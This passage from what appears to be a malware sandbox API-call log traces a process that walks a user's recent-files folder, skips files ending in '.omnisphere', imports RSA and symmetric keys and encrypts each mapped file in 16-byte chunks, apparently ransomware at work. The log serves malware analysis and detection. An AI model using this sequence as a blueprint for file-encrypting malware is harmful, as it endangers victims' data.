lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.337] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf8824c, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0xeaf8824c, ftLastAccessTime.dwHighDateTime=0x1d5826c, ftLastWriteTime.dwLowDateTime=0xeb5a41fc, ftLastWriteTime.dwHighDateTime=0x1d5826c, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0xcc, cFileName="d3d1f068cfd9230e.automaticDestinations-ms", cAlternateFileName="D3D1F0~1.AUT")) returned 1 [0128.337] GetProcessHeap () returned 0x1600000 [0128.337] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0128.337] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="d3d1f068cfd9230e.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d3d1f068cfd9230e.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d3d1f068cfd9230e.automaticDestinations-ms" [0128.337] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0128.337] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d3d1f068cfd9230e.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\d3d1f068cfd9230e.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.338] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=1536) returned 1 [0128.338] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xdc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.338] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0128.338] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x600, lpName=0x0) returned 0x3c0 [0128.338] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0128.339] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.339] CloseHandle (hObject=0x3c0) returned 1 [0128.339] GetTickCount () returned 0x1160046 [0128.339] GetTickCount () returned 0x1160046 [0128.339] GetTickCount () returned 0x1160046 [0128.339] GetTickCount () returned 0x1160046 [0128.339] GetTickCount () returned 0x1160046 [0128.339] GetTickCount () returned 0x1160046 [0128.339] GetTickCount () returned 0x1160046 [0128.339] GetTickCount () returned 0x1160046 [0128.339] GetTickCount () returned 0x1160046 [0128.339] GetTickCount () returned 0x1160046 [0128.339] GetTickCount () returned 0x1160046 [0128.339] GetTickCount () returned 0x1160046 [0128.339] GetTickCount () returned 0x1160046 [0128.339] GetTickCount () returned 0x1160046 [0128.339] GetTickCount () returned 0x1160046 [0128.339] GetTickCount () returned 0x1160046 [0128.339] GetTickCount () returned 0x1160046 [0128.339] GetTickCount () returned 0x1160046 [0128.339] GetTickCount () returned 0x1160046 [0128.339] GetTickCount () returned 0x1160046 [0128.339] GetTickCount () returned 0x1160046 [0128.340] GetTickCount () returned 0x1160046 [0128.340] GetTickCount () returned 0x1160046 [0128.340] GetTickCount () returned 0x1160046 [0128.340] GetTickCount () returned 0x1160046 [0128.340] GetTickCount () returned 0x1160046 [0128.340] GetTickCount () returned 0x1160046 [0128.340] GetTickCount () returned 0x1160046 [0128.340] GetTickCount () returned 0x1160046 [0128.340] GetTickCount () returned 0x1160046 [0128.340] GetTickCount () returned 0x1160046 [0128.340] GetTickCount () returned 0x1160046 [0128.340] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668e78) returned 1 [0128.341] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b68) returned 1 [0128.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.341] CryptDestroyKey (hKey=0x1639b68) returned 1 [0128.341] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0128.341] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x600, lpName=0x0) returned 0x3c0 [0128.341] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x600) returned 0x1480000 [0128.341] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668c58) returned 1 [0128.342] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b68) returned 1 [0128.342] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, 